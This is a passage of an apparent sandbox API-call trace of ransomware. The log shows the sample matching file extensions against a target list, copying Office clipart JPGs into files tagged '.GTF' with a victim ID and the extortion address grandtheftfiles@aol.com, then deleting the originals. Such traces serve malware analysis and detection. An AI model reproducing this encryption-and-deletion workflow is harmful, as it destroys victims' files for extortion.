	[0172.696] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0172.696] lstrlenW (lpString=".ppt") returned 4
	[0172.696] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0172.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.696] lstrlenW (lpString=".zip") returned 4
	[0172.696] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0172.696] lstrlenW (lpString=".rar") returned 4
	[0172.696] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0172.696] lstrlenW (lpString=".bz2") returned 4
	[0172.696] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0172.696] lstrlenW (lpString=".7z") returned 3
	[0172.696] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0172.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.696] lstrlenW (lpString=".dbf") returned 4
	[0172.696] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0172.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.697] lstrlenW (lpString=".1cd") returned 4
	[0172.697] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0172.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.697] lstrlenW (lpString=".jpg") returned 4
	[0172.697] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0172.697] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0172.697] lstrlenW (lpString="J0145373.JPG") returned 12
	[0172.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.698] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17867) returned 1
	[0172.698] CloseHandle (hObject=0x550) returned 1
	[0172.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220
	[0172.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.699] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.699] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0172.700] GetLastError () returned 0x0
	[0172.700] ReadFile (in: hFile=0x550, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x45cb, lpOverlapped=0x0) returned 1
	[0172.702] WriteFile (in: hFile=0x570, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x45d0, lpOverlapped=0x0) returned 1
	[0172.704] ReadFile (in: hFile=0x550, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.704] WriteFile (in: hFile=0x570, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.704] SetEndOfFile (hFile=0x570) returned 1
	[0172.704] CloseHandle (hObject=0x570) returned 1
	[0172.704] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.704] SetEndOfFile (hFile=0x550) returned 1
	[0172.887] CloseHandle (hObject=0x550) returned 1
	[0172.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1
	[0173.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.817] lstrlenW (lpString=".doc") returned 4
	[0173.817] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0173.817] lstrlenW (lpString=".docx") returned 5
	[0173.817] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0173.817] lstrlenW (lpString=".pdf") returned 4
	[0173.817] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0173.817] lstrlenW (lpString=".xls") returned 4
	[0173.818] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0173.818] lstrlenW (lpString=".xlsx") returned 5
	[0173.818] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0173.818] lstrlenW (lpString=".ppt") returned 4
	[0173.818] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.818] lstrlenW (lpString=".zip") returned 4
	[0173.818] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0173.818] lstrlenW (lpString=".rar") returned 4
	[0173.818] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0173.818] lstrlenW (lpString=".bz2") returned 4
	[0173.818] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0173.818] lstrlenW (lpString=".7z") returned 3
	[0173.818] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.818] lstrlenW (lpString=".dbf") returned 4
	[0173.818] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.818] lstrlenW (lpString=".1cd") returned 4
	[0173.818] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.818] lstrlenW (lpString=".jpg") returned 4
	[0173.818] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.818] lstrlenW (lpString=".doc") returned 4
	[0173.818] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0173.818] lstrlenW (lpString=".docx") returned 5
	[0173.818] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0173.818] lstrlenW (lpString=".pdf") returned 4
	[0173.818] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0173.818] lstrlenW (lpString=".xls") returned 4
	[0173.818] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0173.818] lstrlenW (lpString=".xlsx") returned 5
	[0173.818] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0173.818] lstrlenW (lpString=".ppt") returned 4
	[0173.819] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0173.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.819] lstrlenW (lpString=".zip") returned 4
	[0173.819] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0173.819] lstrlenW (lpString=".rar") returned 4
	[0173.819] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0173.819] lstrlenW (lpString=".bz2") returned 4
	[0173.819] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0173.819] lstrlenW (lpString=".7z") returned 3
	[0173.819] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0173.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.819] lstrlenW (lpString=".dbf") returned 4
	[0173.819] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0173.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.819] lstrlenW (lpString=".1cd") returned 4
	[0173.819] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0173.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68
	[0173.819] lstrlenW (lpString=".jpg") returned 4
	[0173.819] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0173.819] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0173.819] lstrlenW (lpString="J0145669.JPG") returned 12
	[0173.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0173.820] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31850) returned 1
	[0173.820] CloseHandle (hObject=0x428) returned 1
	[0173.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220
	[0173.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0173.821] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.821] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0173.822] GetLastError () returned 0x0
	[0173.822] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x7c6a, lpOverlapped=0x0) returned 1
	[0173.923] WriteFile (in: hFile=0x534, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7c70, lpOverlapped=0x0) returned 1
	[0174.045] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.045] WriteFile (in: hFile=0x534, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.045] SetEndOfFile (hFile=0x534) returned 1
	[0174.045] CloseHandle (hObject=0x534) returned 1
	[0174.057] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.057] SetEndOfFile (hFile=0x428) returned 1
	[0174.061] CloseHandle (hObject=0x428) returned 1
	[0174.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1
	[0174.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.062] lstrlenW (lpString=".doc") returned 4
	[0174.062] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.062] lstrlenW (lpString=".docx") returned 5
	[0174.062] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0174.062] lstrlenW (lpString=".pdf") returned 4
	[0174.062] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.062] lstrlenW (lpString=".xls") returned 4
	[0174.062] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.062] lstrlenW (lpString=".xlsx") returned 5
	[0174.063] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0174.063] lstrlenW (lpString=".ppt") returned 4
	[0174.063] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.063] lstrlenW (lpString=".zip") returned 4
	[0174.063] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.063] lstrlenW (lpString=".rar") returned 4
	[0174.063] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.063] lstrlenW (lpString=".bz2") returned 4
	[0174.063] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.063] lstrlenW (lpString=".7z") returned 3
	[0174.063] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.063] lstrlenW (lpString=".dbf") returned 4
	[0174.063] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.063] lstrlenW (lpString=".1cd") returned 4
	[0174.063] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.063] lstrlenW (lpString=".jpg") returned 4
	[0174.063] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.063] lstrlenW (lpString=".doc") returned 4
	[0174.063] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.063] lstrlenW (lpString=".docx") returned 5
	[0174.063] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0174.063] lstrlenW (lpString=".pdf") returned 4
	[0174.064] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.064] lstrlenW (lpString=".xls") returned 4
	[0174.064] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.064] lstrlenW (lpString=".xlsx") returned 5
	[0174.064] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0174.064] lstrlenW (lpString=".ppt") returned 4
	[0174.064] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.064] lstrlenW (lpString=".zip") returned 4
	[0174.064] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.064] lstrlenW (lpString=".rar") returned 4
	[0174.064] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.064] lstrlenW (lpString=".bz2") returned 4
	[0174.064] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.064] lstrlenW (lpString=".7z") returned 3
	[0174.064] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.064] lstrlenW (lpString=".dbf") returned 4
	[0174.064] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.064] lstrlenW (lpString=".1cd") returned 4
	[0174.064] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0174.064] lstrlenW (lpString=".jpg") returned 4
	[0174.064] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.064] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.064] lstrlenW (lpString="J0145895.JPG") returned 12
	[0174.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0174.125] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=33958) returned 1
	[0174.125] CloseHandle (hObject=0x528) returned 1
	[0174.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220
	[0174.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0174.171] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.171] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0174.189] GetLastError () returned 0x0
	[0174.189] ReadFile (in: hFile=0x3dc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x84a6, lpOverlapped=0x0) returned 1
	[0174.297] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x84b0, lpOverlapped=0x0) returned 1
	[0174.299] ReadFile (in: hFile=0x3dc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.299] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.299] SetEndOfFile (hFile=0x564) returned 1
	[0174.299] CloseHandle (hObject=0x564) returned 1
	[0174.299] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.300] SetEndOfFile (hFile=0x3dc) returned 1
	[0174.305] CloseHandle (hObject=0x3dc) returned 1
	[0174.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1
	[0174.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.306] lstrlenW (lpString=".doc") returned 4
	[0174.306] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.306] lstrlenW (lpString=".docx") returned 5
	[0174.306] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0174.306] lstrlenW (lpString=".pdf") returned 4
	[0174.307] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.307] lstrlenW (lpString=".xls") returned 4
	[0174.307] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.307] lstrlenW (lpString=".xlsx") returned 5
	[0174.307] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0174.307] lstrlenW (lpString=".ppt") returned 4
	[0174.307] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.307] lstrlenW (lpString=".zip") returned 4
	[0174.307] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.307] lstrlenW (lpString=".rar") returned 4
	[0174.307] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.307] lstrlenW (lpString=".bz2") returned 4
	[0174.307] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.307] lstrlenW (lpString=".7z") returned 3
	[0174.307] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.307] lstrlenW (lpString=".dbf") returned 4
	[0174.307] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.307] lstrlenW (lpString=".1cd") returned 4
	[0174.307] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.307] lstrlenW (lpString=".jpg") returned 4
	[0174.307] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.307] lstrlenW (lpString=".doc") returned 4
	[0174.307] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.307] lstrlenW (lpString=".docx") returned 5
	[0174.307] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0174.307] lstrlenW (lpString=".pdf") returned 4
	[0174.307] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.308] lstrlenW (lpString=".xls") returned 4
	[0174.308] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.308] lstrlenW (lpString=".xlsx") returned 5
